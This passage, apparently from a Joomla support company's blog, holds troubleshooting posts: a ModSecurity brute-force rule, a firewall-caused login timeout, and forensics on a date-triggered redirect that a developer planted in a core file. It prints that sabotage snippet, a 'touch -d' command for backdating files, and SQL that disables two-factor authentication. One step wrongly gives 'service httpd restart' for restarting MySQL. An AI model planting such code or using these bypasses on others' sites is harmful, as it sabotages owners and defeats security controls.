  • Edit the custom.conf file located under the /usr/local/apache/conf/modsec2/ folder (note: this folder location is the one used in a WHM based server, if you’re using something different, then the folder location might be different). You can use vi to edit the file by just issuing this command:

    vi /usr/local/apache/conf/modsec2/custom.conf

  • Add the following code to the custom.conf file:

    <Location /administrator>
        SecDefaultAction phase:2,deny,status:403,log,auditlog
        SecRule IP:bf_counter "@eq 5" "id:1000002,phase:2,log,block,expirevar:IP.bf_counter=3600,msg:'IP address blocked because of a suspected brute force attack on the Joomla website'"
        SecRule ARGS:option "@streq com_login" "id:1000000,phase:2,chain,t:none,log,pass,msg:'Multiple Joomla authentication failures from IP address', setvar:IP.bf_counter=+1"
    </Location>

  • Save the file and then restart Apache using the following command:

    service httpd restart

  • Try to login to the Joomla website 5 times with wrong credentials and, on the sixth time, you will be directed to a 403 Forbidden page.

  • Now go back to sleep knowing that malicious users will not exhaust your server with their incessant brute force attacks!

Now, of course, you might be wondering what that gibberish code that you added to the custom.conf file really means, so let us explain…

This line…

SecDefaultAction phase:2,deny,status:403,log,auditlog

…specifies what action will be taken when the rule blocks the IP. In this line, we are telling ModSecurity to deny access to the page with a 403 error. Not much else you need to know here.

This line…

SecRule IP:bf_counter "@eq 5" "id:1000002,phase:2,log,block,expirevar:IP.bf_counter=3600,msg:'IP address blocked because of a suspected brute force attack on the Joomla website'"

Checks the variable bf_counter if it’s equal to 5. If it is, then the following happens: rule number 1000002 is triggered (you can give the rule any number you want, provided that number is not already assigned to another rule), we log the event (using the log instruction), we block the IP (using the block instruction), we remove the bf_counter variable after 3600 seconds (hence the expirevar:IP.bf_counter=3600 code – which means that the attacker will be blocked from accessing the page for 3600 seconds), and then we specify which message ModSecurity should have in the logs (which is this one “IP address blocked because of suspected brute force attack on the Joomla website”)

This line…

SecRule ARGS:option "@streq com_login" "id:1000000,phase:2,chain,t:none,log,pass,msg:'Multiple Joomla authentication failures from IP address', setvar:IP.bf_counter=+1

…is the heart of the blocking logic and it took us a lot of time just to know what to have in there. You see, when you login unsuccessfully to a Joomla website, com_login will be a post value passed back to the login page. This value is not passed to any page once the login is successful, which means that every time we see com_login in a post value, it means that we have an unsuccessful login, and we must increment the login counter. The line above does that the following way: it checks if any of the ARGS variables (any post or get variable) has com_login in its value (@streq com_login), if it is, then we define rule 1000000, which will increment the bf_counter by 1. The bf_counter variable is checked by the previous rule: once above 5, the request will be blocked.

Can the ModSecurity rule above be modified to be more lenient just so false positives are not blocked immediately for an extended period of time?

Yes! For example, if you want to change the number of retries to 10 and reduce the time that it takes to reset the number of retries to 30 minutes (1800 seconds), then all you need to do is change the second line in the rule (well, technically the third line if you count the <location… line as the first line) to:

SecRule IP:bf_counter "@eq 10" "id:1000002,phase:2,log,block,expirevar:IP.bf_counter=1800,msg:'IP address blocked because of suspected brute force attack on the Joomla website'"

Are there any caveats?

Well, as a matter of fact, there are 2 caveats:

  1. The above rule effectively makes com_login a blacklisted word, which means that if you have an article with com_login anywhere in its body, and you save it, then every save will count towards the bf_block limit. Of course, the absolute majority of Joomla websites will not use the word com_login anywhere in their content, but some technical websites may.
  2. We are not resetting bf_block when the login is successful, which means that if, you try to login 3 times with wrong credentials, and then you login successfully, and then you logout, and then you login 2 times with wrong credentials, then you will be blocked on the 6th attempt.

We hope you enjoyed this post the same way we enjoyed researching it and writing it (note that we used the book ModSecurity Handbook which is written by one of the programmers who heavily worked on ModSecurity). If you need a little help with the implementation, then we can definitely help. Just contact us and we’ll do it for you swiftly, cleanly, and for a very affordable fee!

The Mystery of the Joomla Login Timeout

Back in May (today is the 21st of June, the day that should have been the summer solstice, but instead it was yesterday, since this year is a leap year [you learn something new every day!]) we had a client who approached us with a very weird problem. The client’s problem, to put it simply, was the sudden inability to login to both the backend and the frontend. In short, the login worked, and then, all of a sudden, it didn’t (it just timed out). After a while, it started working again only to stop working shortly after.

From the get-go, we felt that this had something to do with an aggressive firewall, as firewall issues are usually characterized by erratic problems. What confirmed our theory was the fact that the problems started happening not long after the website was temporarily moved to a different server.

Since we didn’t have root server access to the temporary hosting (and neither did the client, for that matter), we asked the client to authorize us to move her website to another high-end host that we trust, and she did. So, we moved the website, we tested the website (including the login), and everything worked smoothly! We were happy and the client was happy, for a while…

The next morning the client called us and told us that she was experiencing the exact same issue: her clients were not able to login. That, of course, meant that our firewall theory was wrong, and there was something else causing this problem. So, we checked what was going on, and we noticed that there was an authentication plugin connecting to Paradiso which is an online LMS. The way how that plugin worked was a bit complex: it authenticated the login on Paradiso, and then Paradiso authenticated back the login on the joomdle extension on the Joomla website. Disabling the plugin fixed the problem, but, as you might have probably guessed, it also broke the most important functionality that the website had, which was the LMS integration (needless to say, this made the website useless).

Investigating the issue further proved that the login was timing out when the Paradiso authentication plugin (on the Joomla website) was connecting to the Paradiso website (in order to post the login credentials), so we thought that the issue was definitely on Paradiso‘s end. So we asked Paradiso to check the logs on their end to see what’s going on, but they told us that everything was normal on their end, and that the client’s server IP was not blocked.

So, we just took the Paradiso URL and tried to load it directly (from the browser), and it worked. Hmmm… We were still not convinced and we still thought it was Paradiso‘s problem. Nevertheless, we decided to check our logs, and, to our surprise, we found the following:

2016-05-19 15:02:22 SMTP connection from [52.36.77.46]:38053 (TCP/IP connection count = 1)
2016-05-19 15:02:32 SMTP call from us-west-2.compute.amazonaws.com [52.36.77.46]:38053 dropped: too many syntax or protocol errors (last command was "?4?2?\016?\r?\031?\v?\f?\030?  ?")
2016-05-19 15:22:53 SMTP connection from [52.36.77.46]:38397 (TCP/IP connection count = 2)
2016-05-19 15:23:03 SMTP call from us-west-2.compute.amazonaws.com [52.36.77.46]:38397 dropped: too many syntax or protocol errors (last command was "?4?2?\016?\r?\031?\v?\f?\030?  ?")
2016-05-19 15:23:06 1b3TXG-0005Wz-GJ <= root@host.[ourclientdomain].com U=root P=local S=2865 T="lfd on host.[ourclientdomain].com: blocked 52.36.77.46 (US/United States/us-west-2.compute.amazo" for root

Aha! So, it was our client's server that was blocking Paradiso's IP, and not the other way around, and it was blocking their IP because it was sending malformed syntax to the mail server, which explained this whole mess. Finally! After working on this problem for days we found out what the exact cause was!

So, how did we fix the problem?

Fixing the problem was easy - we just whitelisted Paradiso's IP and we then told Paradiso to fix their mail sending program, which they said they will do immediately (we can't confirm whether they fixed it or not).

And why wasn't this a problem for our client before?

Most likely because our client's website resided on a server with no firewall, or, at best, with very loose firewall settings. Any half-decent firewall should block malformed requests to any server application, which incidentally, brings us to this question: why didn't other Paradiso customers complain about this and why was our client the only one affected with this? Obviously, this is a rhetorical question, but a valid question nonetheless.

In any case, we hope that you found this post helpful. If you are facing the same problem on your Joomla website, then check your server logs as the problem may be at the server level. If you can't find anything in the logs or if you need help, then please contact us. We will find what the problem is, we will fix it for you, you won't pay us much, and most likely, you will gain new friends (that's us)!

On Wicked Joomla Developers

It is Friday afternoon, and we have a little present for you: a free real life suspense story about a wicked Joomla developer, how he crashed his client’s website, and how we knew who he was, Sherlock Holmes style. Coincidentally, this post comes after our bad Joomla developers post, which makes sense, as a wicked developer is also a bad developer, but with decisively more intentional destructive capabilities. Are you ready? Let’s start!

A client of ours called us on Monday morning and told us that he’s seeing an error message every time he visits the frontend of his Joomla website. So, we checked his website and we got the following error:

The page isn’t redirecting properly

This meant that there was an infinite loop somewhere causing the page to redirect to itself. So, we checked the .htaccess file for any suspicious redirects, but we found none. Nevertheless, we renamed the .htaccess to .htaccess.old just to make sure that the problem is not related to anything in the .htaccess file. We then visited the website, and, as we expected, we still saw the same error.

We then checked all the plugins installed on the Joomla website to see if there was an SEF plugin or any plugin that is responsible for redirecting, but we found none.

We felt that we were stuck (typically these issues are caused by either a wrong rule in the .htaccess file or an SEF plugin) – and we wanted more information about what’s really going on when someone visits the website. So, we checked the Apache logs under /usr/local/apache/domlogs/[domain-name] and we searched for our IP there (using a simple grep), and we noticed that for each page load there were 20 301 redirects (which is the default Apache limit), until we were redirected using a 303 redirect (temporary redirect) to the Error page. Unfortunately, these findings were not helpful because we knew that that was the case.

We then thought, it must be a weird system plugin causing this redirect (a plugin that we don’t know of). So, we renamed the folder system under the plugins folder to system_old, but that didn’t help: the website still showed the same error message.

We did the same thing with the content folder, maybe there is a redirect happening there, but still, nothing. We even renamed the whole plugins folder to plugins_old, thinking that it will solve the problem (or at least force the website to show an error message complaining that it’s not able to load a specific plugin), but that didn’t do anything: we had the same “The page isn’t redirecting properly” error.

At this point, we started to lean toward the hack theory. So, we logged in to the shell and we generated a list of all the modified files in the past 10 days using the following command:

find /home/[cpanel-user]/public_html -path '/home/[cpanel-user]/public_html/cache/*' -prune -o -mtime -10 -ls | grep -vE '(/cache/)'

The above just listed some images that were uploaded in the past 10 days by the website’s staff – which meant that there were no core files that were changed. However, the above shell command may not always yield accurate results, because a malicious script (once uploaded) can change the date of any file using the touch shell command. For example, to change the modification date of a file called file1.php to 90 days ago, all you need to do is to issue the following command:

touch -d "90 days ago" file1.php

So, we decided to overwrite all the Joomla core files (just in case) using our famous, super quick, super efficient method to cleanup Joomla websites. But, there was a problem, the client had many core files modified (for many reasons) and he didn’t have a list of which files were modified. So that option was out of the question…

Now our best option was to discover the hack the old, manual way: we renamed every folder under the Joomla website from foldername to foldername_old, and then tested the website after each folder renaming to see how it responds. If it crashes the same way, then this folder has nothing to do with the problem, if it crashes by complaining that there is a missing file, then this means that files in this folder are being used before (or during) the hack (in that case we have to rename back that folder to its original name).

So we renamed the folders administrator, cache, components, cli, images, language, layouts, media, modules, plugins, templates, tmp to administrator_old, cache_old, components_old, cli_old, images_old, language_old, layouts_old, media_old, modules_old, plugins_old, templates_old, tmp_old respectively. The folders includes and libraries caused the Joomla application to complain of missing files when renamed, so we had to revert back their names to what they where.

Now, it was obvious that the problem was either in the includes or in the libraries folders. We quickly checked the includes folder (this folder only has a few files), and it had nothing malicious. So now we’re left only with checking the libraries folder for anything malicious.

After a lot of hard and complicated work, we finally nailed it. It was the document.php file (located under the libraries/joomla/document folder) which had the following code in its very beginning:

defined('JPATH_PLATFORM') or die;
$ExpireDate=strtotime("10-06-2016");
$Today=strtotime(date("d-m-Y"));
if($Today > $ExpireDate)
{
	$app=JFactory::getApplication();
	$app->redirect('index.php','');
}

The above code caused the website to redirect to the homepage (causing an infinite loop) if the current date was past June 10th, 2016 (it was June 13th when we worked on this problem).

Now, we’ve seen too many Joomla hacks in our life, but this one was curious: it didn’t seem like a blind hack, it didn’t even seem like a hack at all (that’s why we published the code, because technically, it wasn’t malicious, even though realistically, it caused the client’s website to crash). It seemed as if almost one of the developers working on this website intentionally added the above code (for a mysterious reason). Maybe it was a bug – but why would a high level Joomla developer work on such a critical file?

We informed the client of our findings (of course, we removed the code from the document.php file, thus fixing the problem), and the client instructed us to investigate the issue further (which was great since we are rarely instructed to do forensics). So, we checked the Apache logs around the time the file was modified (to see whether the file was modified by an external script), but we found nothing suspicious (note that the file was last modified on May 29th, 2016 at 20:56 server time [which was EST]).

We then checked the messages file under /var/log for any FTP activity that happened during the time where the file was modified, and we found this:

May 29 20:55:28 c124c pure-ftpd: (?@[ip]) [INFO] New connection from [ip]
May 29 20:55:30 c124c pure-ftpd: (?@[ip]) [INFO] [user@domain] is now logged in
May 29 20:55:34 c124c pure-ftpd: ([user@domain]@[ip]) [NOTICE] /home/[cpanel-user]/public_html//libraries/joomla/document/document.php downloaded  (21324 bytes, 31.55KB/sec)
May 29 20:56:09 c124c pure-ftpd: ([user@domain]@[ip]) [NOTICE] /home/[cpanel-user]/public_html//libraries/joomla/document/document.php uploaded  (20250 bytes, 4.60KB/sec)

Obviously, the file modification happened using FTP by a developer working for our client. Now, of course, one might think that the developer’s FTP credentials were stolen, but we were able to confirm with our client that it wasn’t the case because the IP matched the developer’s location (and, more importantly, it matched the sender IP in the emails sent by the developer to our client).

But, what if the developer was trying to do something and the whole thing was a bug? Well, the fact that it took the developer 35 seconds to add 5 lines of code meant that he copied and pasted the code from somewhere else and the whole thing was intentional. Additionally, the logs (in the messages file) showed that the developer was working on a 3rd party extension that had nothing to do with the core document.php file.

We have to say that the client was both surprised and devastated, as he relied on that developer on many things and trusted him with his own business. The client, despite the huge stress, took the right decision by not confronting the developer with our findings (thus avoiding a potential backlash), and he smartly allocated the developer on another (low-priority) project he has, just after having us lock down all access to the website.

Unlike the client, we were not surprised because we know that there are some developers out there who are wicked, who lack basic professional ethics, and who are typically physically located outside their client’s legal jurisdiction (most of these developers are located overseas), so they can do whatever they want with zero consequences (at least for them) and for any reason (in this particular scenario, the client explained that it was possible that the developer wanted to break the website so that he can get paid for fixing it), but these developers are seemingly cheap, and there’s always a risk when it comes to cheap labor: you might be lucky and get a super developer who will do whatever you want for pennies, or you might be unlucky and get this sleazy, sneaky, wicked developer who will end up costing you much more money than a real developer.

At itoctopus, our clients love us because we are ethical Joomla developers. We are fair in our estimates, we try to save money for our clients, our code is clean and well tested, and we never have our own interests in mind when providing advice to our clients. So if you need real, honest, affordable, and professional Joomla developers, then please contact us, and we promise you that it’ll be the start of a long, rewarding, and positive business relationship!

Let’s Not Forget About Bad Joomla Programmers

Most people using Joomla are very quick to blame it (Joomla) for any hiccups/problems they see on their websites. In most cases, these people are wrong. In fact, the majority of the problems happening on Joomla websites are not technically caused by Joomla’s core, but they are caused by one of the following:

  • A change in the server environment
  • A missing library on the server or inadequate server settings
  • Ignoring security-critical Joomla updates
  • Bad Joomla programmers

In this post, we would like to focus on bad Joomla programmers, and how they negatively affect the performance of a Joomla website and the perception of Joomla by the general public. Let us start by giving you an example…

Early last week, a client of ours told us that he was seeing the Allowed memory size error on many of his website’s pages, and he emailed us an example of a link so that we can see the problem. We clicked on the link and we saw the following error:

Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 130968 bytes) in /home/[user]/public_html/libraries/joomla/database/driver/mysqli.php on line 515

Typically, fixing the Allowed memory size problem consists of just increasing the PHP memory limit in the main index.php file, or in the .htaccess file, or in the php.ini (o .user.ini file). But, no matter how much we increased the memory limit for that particular case, we still experienced the same fatal error.

We then looked closer at the error, and we noticed that it was complaining that it was running out of memory in the mysqli.php file, which meant that the error had to do with MySQL. So we looked at the MySQL slow query log, and we noticed nothing unusual, but we were still sure that there was something weird happening on MySQL, and so we enabled full logging (e.g. all the queries hiting the MySQL database server would be logged) the following way:

  • We ssh’d to the server as root.
  • We added the following code to the my.cnf file (which is located under the /etc folder):

    log = "/var/lib/mysql/all-queries.log"

  • We opened the .htaccess file located under the main directory of the website, and then we denied access to all traffic with the exception of our IP (it is not practical to allow full logging from all IPs).

  • We restarted MySQL by issuing the following shell command:

    service httpd restart

After enabling the logging of all queries, we visited the problematic link, and, in literally 5 seconds, we had 18982921 bytes in the all-queries.log file, and it was full of the following query:

SELECT parent_id,title FROM #__categories WHERE id =0

In fact, the above query was repeated 270,000 times (yes, you read that right, two hundred seventy thousand times, a bit more than a quarter of a million), and that was just after loading one page! Wow!

A quick search for the above query revealed that it was in a very poorly written custom extension (e.g. the extension was specifically written for that Joomla website), and more specifically, the query was in a recursive function which job was to find the title of the ultimate parent of a category. The problem with that function is that it lacked the most basic characteristic of a recursive function: it had no stop condition!

As programmers, we know how to write recursive functions with ease (a recursive function is a function that calls itself until a stop condition becomes true – if you are interested in programming and you want to learn more about recursive functions, then the best way to learn it is by reading the chapter on recursion in David S Touretzky‘s COMMON LISP: A Gentle Introduction to Symbolic Computation), but we know that recursive functions are not for everyone. In fact, what distinguishes a real programmer from a quack one is the ability to grasp the concept of recursive functions. Obviously, whoever wrote that function was a quack developer, because his function missed the most basic concept of recursivity.

Fixing the problem simply consisted of just adding the correct stop condition to the recursive function. Ironically, after fixing the problem and informing the client of the root cause, the programmer who developed the custom extension emailed us and thanked us for fixing his code (by the way, the client told us in his first email concerning this issue that this same programmer searched for weeks for the cause of the problem but he couldn’t find it), promising the client (who was cc’d on the email) that he will pay more attention in the future. This meant that the client wanted to continue the business relationship with that programmer, despite the obvious fact that he wasn’t a real programmer. The only logical explanation to this is that this programmer was cheap, and that is the very heart of the problem affecting so many Joomla websites (especially the large ones) out there: cheap, unreliable, and unprofessional Joomla programmers.

So how can Joomla get rid of this problem?

The short answer is that it can’t: there is no way Joomla can prevent people from dealing with cheap programmers. In fact, this problem is not specific to Joomla, it is a problem that applies to any work under the IT umbrella, except that there is a general perception and skepticism in the Joomla community and userbase blaming Joomla for everything (well, not really everything, the hole in the ozone layer is blamed on hair spray and air conditioners).

The long answer is that Joomla can minimize the problem by certifying Joomla developers (this is substantially different from certifying Joomla administrators). We’re not talking about writing a simple plugin here; we’re talking about having an actual computer science university degree and a vast LAMP experience. Of course, the technicalities are sketchy at best at first glance, but, with enough resources (and maybe with forging some alliances with PHP and MySQL), Joomla can get this certification program up and running. Now, of course, this will not solve the problem, because many Joomla administrators out there want cheap labor but still expect expert work (it’s like driving a Mazda but expecting a Mercedes experience), but it is a start!

Meanwhile, if you’re looking for expert Joomla developers to fix/implement anything on your Joomla website, then look no further. We’re here to help! Just contact us and let us demonstrate to you that we’re fast, that we’re reliable, and that although we’re not cheap, we’re quite affordable!

A Quick Method to Disable 2 Factor Authentication on Joomla’s Backend

It’s been a long while since you have last updated the content of your Joomla website, but you decided, on a Sunday afternoon, to do just that.

So, you navigate to the login page of the backend of your Joomla website, and you see a curious “Secret Field” input field. You ignore it, and you just try to login with your good old username and password, but when you do that, you see the following error message:

Warning: The two factor authentication Secret Key is invalid.

You try to login again, but you see the same error, and you finally realize that you just can’t leave that “Secret Field” input field empty, but you don’t know what to put in there. So, you start searching your emails and any documents that you have for that “Secret Field”, but you find none: someone who had (and may still have) access to the backend of your Joomla website added Two Factor Authentication to the login but didn’t tell you anything about it (maybe he forgot to do that or maybe he didn’t).

Since you’re not sure who that “someone” is (or maybe you’re sure but that “someone” has gone MIA), you decide to disable that Two Factor Authentication, but you don’t know how. Luckily, we’re here to help: here’s a concise and comprehensive (no, that is not an oxymoron, we checked) guide on how to do that:

  • Login to phpMyAdmin through your WHM/cPanel/other account.
  • Select the database powering the Joomla website.

  • Run the following queries:

    UPDATE `#__extensions` SET `enabled` = '0' WHERE `name` = 'plg_twofactorauth_totp';
    UPDATE `#__extensions` SET `enabled` = '0' WHERE `name` = 'plg_twofactorauth_yubikey';

    Note: You should replace #__ with your table prefix.

  • That’s it! Close your browser and then go to the login page again and you will see that the “Secret Field” is gone.

Is there an easier way to disable the Two Factor Authentication?

Well, no, unless, of course, you can access the backend of your Joomla website with an empty “Secret Field” (or you already know what the “Secret Field” is). In that case, you can just disable it the following way:

  • Login to the Joomla backend.
  • Click on Extensions -> Plugins.

  • Under Select Type on the right side select twofactorauth.

  • Disable all the plugins that are enabled there, namely Two Factor Authentication – Google Authenticator and Two Factor Authentication – YubiKey (you can easily disable a plugin by clicking on the green checkbox next to its name).

  • That’s it!

We hope that you found our guide on disabling the Two Factor Authentication useful. If you need help with the implementation, then please contact us. We will do it for you swiftly, professionally, and affordably. You will also gain true and reliable friends in the Joomla realm!

How to Resolve the “Call to undefined function mb_split()” Fatal Error on a Joomla Website

We were commissioned yesterday morning to move a website form GoDaddy’s shared hosting to a VPS (with another company). So, we zipped the files and we exported the database from the old server, and then we extracted the files and imported the database on the new server.

We then proceeded with testing the website (after modifying the configuration settings to make them point to the database on the new server), but, the moment we loaded the website, we saw the following error:

Fatal error: Call to undefined function mb_split() in /home/[user]/public_html/components/com_roksprocket/lib/RokSprocket/Util/HTMLManipulator.php on line 36

Since we have encountered this fatal error many times before, we knew exactly what’s causing it and we knew exactly how to fix it.

So, what’s causing it?

Well, typically companies leasing VPS’s (or dedicated servers) to clients provide these VPS’s with the basic settings – so these VPS’s don’t have many Apache/PHP modules installed (they just have the very basic ones installed). Even common PHP modules are not installed, such as the Mbregex module (which stands for Multibyte Regular Expression, which is used to manipulate strings in all languages, not just Western languages), which absence is causing the fatal error.

OK, so how you can fix it?

Fixing the problem consists of merely installing the Mbregex PHP module on the VPS. Here’s a quick guide on how to do this (we are assuming you are running a WHM based VPS):

  • Go to WHM.
  • On the left side, search for EasyApache3, and then click on the EasyApache3 link.

  • Click on the wheel next to the selected profile to modify the settings.

  • Click on “Next” until you reach the “Short Options List” tab.

  • Click on “Exhaustive Options List” button (do not click on the “Exhaustive Options List” tab – the button that you should click is located at the very bottom of the page)

  • Search for Mbregex in the list and click on the checkbox next to it.

  • Click on “Save and Build” at the bottom of the page.

  • Click on “OK” on the popup window, and then click on “I understand” on the second popup (the second popup is telling you that you should not terminate the process or you may risk corrupting the Apache server installed on your host).

  • Wait for about 15 minutes and don’t do anything (it is recommended that you don’t even use your machine for anything until the process is completed).

  • Click on the “Save New Configuration” button on the final popup window (note that you must scroll down in the popup to locate this button).

  • That’s it! Your problem should be solved (we know it solved it for our client and for many other clients).

If you’re facing the same fatal error on your Joomla website after migrating to a VPS (or a dedicated server), then follow this guide and you should be all set. If this is happening to you after moving to a shared host, then you should contact your host (almost all hosts are accommodating when it comes to missing libraries, which is a good thing and a bad thing). If you think this guide is a bit too technical for your taste, or if you are running something different than WHM (such as Plesk), then please contact us. We will fix the problem for you in no time and for a super affordable fee!

GoDaddy Shared Hosting and Hacked Joomla Websites

We are having an increasing number of calls from clients asking us to fix their hacked GoDaddy shared hosted Joomla website. While many may see this as an indication that GoDaddy has many customers, we see the whole thing a bit differently.

The thing is, a few months ago, we only had a few GoDaddy hosted hacked Joomla websites to fix every month, but these days, we’re getting 3-4 a day! So, it’s not like GoDaddy’s clients jumped 30 times overnight, and it’s not like our clients jumped 30 times overnight. Something’s fishy, and, so we decided to investigate further.

It didn’t take us long to get down to the bottom of the problem, GoDaddy’s shared hosting servers all (well, at least all the ones that we have worked on) suffered from the ImageMagick vulnerability. GoDaddy, so far, has not taken the appropriate action and patched the ImageMagick exploit.

Not only that, our clients tell us that GoDaddy, when they are informed of their clients’ misfortune, try to talk them into buying a “security product” to make their websites more “secure”, essentially blaming the hack on the absence of security products installed on the website.

While we have the utmost respect for GoDaddy, we don’t think they’re doing the right thing here, one could see them as extorting money from their clients because of a server exploit that these clients cannot control.

So, what do we do when get a GoDaddy hosted hacked Joomla website?

We do the exact same thing that we do for other other hacked websites: we cleanup and secure the websites, except that at the end, we tell the client that they need to move their websites to a VPS (they can remain with GoDaddy, but they just need to move to a VPS).

We think that GoDaddy is making a mistake with their current perceived strategy of “make-the-client-pay-for-our-server-exploit”, but they are a gigantic company, and maybe they know something that we don’t, or maybe the whole thing is not intended, or maybe we are just plain wrong (and we hope so).

Whatever it is, we’re sure that GoDaddy clients are not finding it fun to get hacked. So, if you are a GoDaddy customer with a hacked Joomla website, please contact us and we’ll clean your website for you in no time and for a very affordable cost!

Resolving the Dreaded “Call to a member function getDocument() on a non-object” Error on a Joomla Website

A client called us yesterday and told us that his website was displaying the following error after a manual upgrade of his Joomla 3.1.1 website to Joomla 3.5.1:

Fatal error: Call to a member function getDocument() on a non-object in plugins/system/sef/sef.php on line 36

We then asked him, what do you mean exactly by a manual update? He said that he just downloaded Joomla 3.5.1 and then extracted it to the main directory of his Joomla 3.1.1 website. Hmmm… Typically, such an update can cause problems because Joomla’s 3.5.1 file structure is slightly different (actually “slightly” is not the right word, it’s slightly more than slightly) than that of Joomla 3.1.1.

Naturally, the first thing that we did (after asking the client if he had a backup of the full website before updating, which unfortunately he didn’t have) was that we opened the sef.php located under the plugins/system/sef folder, and we looked for the error line (39), which was this one:

$doc = $this->app->getDocument();

We did some printouts, and we discovered that $this contained a lot of data, but not $app, which was curious, since $app was a protected attribute, which meant that the parent class, JPlugin, must have it defined somewhere.

So we opened the file plugin.php, which was located under the libraries/cms/plugin folder, and we checked what was going there. We saw that it was defining $app under certain conditions, in the following code:

if (property_exists($this, 'app'))
{
	$reflection = new ReflectionClass($this);
	$appProperty = $reflection->getProperty('app');

	if ($appProperty->isPrivate() === false && is_null($this->app))
	{
		$this->app = JFactory::getApplication();
	}
}

So, in order to see if the above conditions were met, we added a die(‘in condition…’); just after the first condition, but that didn’t print out. So we added die(‘in file…’); at the beginning of the plugin.php file, but that didn’t print out either, we still saw the same issue, which essentially meant that the plugin.php file wasn’t even loaded at all! Curious and curiouser… How can a child class run without loading the parent class first? That’s practically impossible!

The next logical step was to confirm that the aforementioned plugin.php file was not loaded by Joomla (to make sure that we are not running into insane caching issues). In order to do that, we added the following code in the sef.php file immediately before the problematic line:

$arr = get_included_files();
print_r($arr);
die();

We then checked the website, which had a list of all the files that were loaded by the Joomla application to serve that page. We particularly searched for the file plugin.php, and we found it being loaded from this location:

libraries/joomla/plugin/

But, the file should be loaded from here:

libraries/cms/plugin

A quick check in the Joomla 3.5.1 default directory revealed that the folder libraries/joomla/plugin doesn’t even exist anymore, and that that folder was ported over from the previous Joomla installation. So, the problem was that Joomla was loading the JPlugin file from the old directory, and not from the new directory.

So, how did we fix the problem?

Fixing the problem consisted simply of deleting the folder libraries/joomla/plugin. But, we had other problems after fixing this problem, which we resolved by removing the following folders:

  • libraries/joomla/html
  • libraries/joomla/pagination
  • libraries/joomla/registry

We then had to repair the database (twice).

As you can see, fixing a botched Joomla update is not that hard (once you know how), but again, it’s always a good idea to update Joomla using the standard, recommended method (as other methods are pretty much advanced because they entail fixing fatal errors).

If you are seeing the much dreaded Call to a member function getDocument() on a non-object then most likely you are left with a folder (or a few folders) from a previous Joomla install. If you need help finding these folders, then please contact us. We will find these folders, delete them, make sure that your website works again, and we will do that for a very affordable fee!

“Error displaying the error page: Application Instantiation Error” Fatal Error on Joomla

Late this evening, a client called us and told us that, after moving his website to a new host, he was seeing the following (fatal) everywhere on his website:

Error displaying the error page: Application Instantiation Error

Typically, the above error is associated with wrong database credentials in the configuration.php file, so we tried the following: we reset the database user password in cPanel, and used the new password in the configuration.php file (after making sure that the host, the database name, and the database user were all correct), and then tested the website again, but still, we saw the same error.

We were almost confident that the problem had to do with accessing the database, and so we did the following:

  • We opened the file mysqli.php (the client was using mysqli as a database driver) located in the libraries/joomla/database/driver/ folder.
  • We removed the @ sign from the following line:

    $this->connection = @mysqli_connect(
    	$this->options['host'], $this->options['user'], $this->options['password'], null, $this->options['port'], $this->options['socket']
    );

    (Note: the @ sign suppresses any non fatal error from being displayed, which means that removing it will display the actual, real error.)

  • We loaded the website again, and this time we saw the following error:

    Warning: mysqli_connect(): (HY000/1045): Access denied for user ‘[user]’@’localhost’ (using password: YES) in libraries/joomla/database/driver/mysqli.php on line 141

The Access denied in the above error revealed what the actual issue was: the user was not given the proper permissions to the database. So, we went back to cPanel, we clicked on MySQL databases, and then, under Add User To Database, we added the appropriate user to the Joomla database.

If you’re seeing the same error on your Joomla website, then it’s almost a certainty that it’s a database connection problem. Make sure that all your credentials are correct and also ensure that the database user has full access to the Joomla database. If the problem persists, then please contact us. We will fix it for you quickly, professionally, and affordably.

Joomla Backend Login Redirects to “Sorry” Page on WHM/cPanel

Yesterday, we were commissioned to move a large website (for a US clinic) from one server to another: we moved the files, we installed the database, we modified the configuration.php file to reflect the new server’s settings, we modified our Windows hosts file (to force the domain to point to the new IP), and then we started testing the website.

Everything worked very well, but, when trying to login to the backend of the Joomla website, we were greeted with the default WHM/cPanel Sorry 404 page. We quickly noticed that the website was being redirected from http://www.[ourclientjoomlawebsite].com to https://www.[ourclientjoomlawebsite].com/, which meant that the problem was with the secure mode of the website.

A very quick research revealed that this problem occurs when the SSL certificate is not installed on the server, which was exactly our case.

So we had 2 options: We either had to install the SSL certificate on the new server or we had to make the admin backend work in normal (non-https) mode. We chose the latter because we didn’t have the SSL certificate. Here’s what we did:

  • We logged in to phpMyAdmin.
  • We clicked on the #__modules table.

  • We searched for the module named Login that has the field client_id set to 1 (typically the id of this module is 2).

  • We changed the following string in the params field from:

    "usesecure":"1"

    to

    "usesecure":"0"

  • We saved the row (module) and then we closed the browser (note: you may need to also clear the browser cache in FireFox), and then we launched the browser and tested the login.

  • The login worked!

As you can see, solving the problem was quite easy. The alternative solution, of course, is to install the SSL certificate. But, if you don’t have to the SSL certificate, then the quick solution is the one we explained in this post. If you need help implementing this solution (or the other solution), then please contact us. We work 24/7/365, we work professionally, we work quickly, and our fees are super affordable!

How to Use Joomla’s Ajax Interface Component (com_ajax)

Last week, we were commissioned to build a tool that displays a list of state representatives on the website of a company producing soda dispensers. The tool consisted of a simple dropdown, containing all the American states, and, based on the selected state from the dropdown, the tool displayed the representatives serving the selected state.

Of course, there are many ways to do this, but we decided to do this using Ajax, but not just any Ajax; we wanted to use Joomla’s Ajax interface (yes, we know that Ajax is the same across the board, but you know what we mean).

Now, before telling you how we did it, let us explain a bit what Joomla’s Ajax interface is… You see, Ajax, at its purest and simplest form, consists of a request to a server and a response from a server, the request is made through JavaScript, and the response is sent through JavaScript, but typically, the latter is generated on a server by a PHP file (in the case of a PHP based environment). In order to avoid clutter and to stick with the MVC pattern, Joomla comes bundled with a component called Ajax Interface, which allows the programmer to get the response data from a module or a plugin. Unfortunately, many Joomla programmers out there don’t know that this component actually exists, so they create non-Joomla PHP files on the server in order to serve Ajax responses. What’s even more unfortunate, is that most of the remaining programmers that know about Joomla’s Ajax interface are intimidated by it (we have to admit we were among these people), mistakenly believing it’s a monster that is hard to work with, while the reality is the absolute opposite (and we are going to demonstrate that in this post).

So, how did we do it?

Well, the first thing that we did was create a K2 module called K2 Representatives (mod_k2_representatives), that queries the #__k2_items database for specific items where an extra field matches the value of the state passed as a GET variable in the PHP $_GET array.

The module consisted of the following 4 files:

  • index.html: An empty HTML file which should be in every Joomla folder for security reasons.
  • mod_k2_representatives.xml: This is the XML manifest of the module – standard stuff.

  • mod_k2_representatives.php: This is the main module file. It just contained the following 3 line:

    defined('_JEXEC') or die ;
    require_once (dirname(__FILE__).'/helper.php');
    $items = modK2RepresentativesHelper::getItems($params);

